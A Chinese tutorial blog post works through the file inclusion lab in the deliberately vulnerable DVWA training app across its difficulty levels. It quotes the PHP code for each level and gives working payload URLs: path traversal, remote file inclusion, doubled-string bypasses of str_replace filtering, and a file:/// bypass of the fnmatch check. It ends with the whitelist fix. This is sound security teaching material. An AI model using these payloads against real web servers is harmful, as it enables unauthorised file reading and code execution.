DVWA文件包含(不同级别)

File Inclusion


简介

File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)

low

核心代码如下:

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>

可以看到,服务器端对page参数没有做任何的过滤跟检查。

服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

构造如下url

1.本地文件包含

绝对路径

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=C:\phpStudy\PHPTutorial\WWW\1.txt

在这里插入图片描述

相对路径

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=../../../1.txt

在这里插入图片描述

2.远程文件包含

当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。

在远程服务器192.168.5.12上传一个phpinfo.txt文件,内容如下 <?php phpinfo(); ?>

构造以下url

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=https://www.baidu.com/index.php

medium

核心代码如下:

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>

可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符,即删除

使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则

1.本地文件包含

绝对路径(不受影响):

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=C:\phpStudy\PHPTutorial\WWW\1.txt

相对路径(受影响,改变如下,在原来的…/中间插入…/):

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=..././..././..././1.txt

2.远程文件包含

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=hthttps://tp://www.baidu.com/index.php

在这里插入图片描述

high

核心代码如下

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?>

可以看到,High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件

High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议

构造如下url(page的开头为file:///)

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=file:///E:/1.txt
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=file:///C:/phpStudy/PHPTutorial/WWW/1.txt

至于执行任意命令,需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行

impossible

核心代码如下:

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?>

可以看到,Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。

猜你喜欢

转载自blog.csdn.net/qq_43452198/article/details/89463757
今日推荐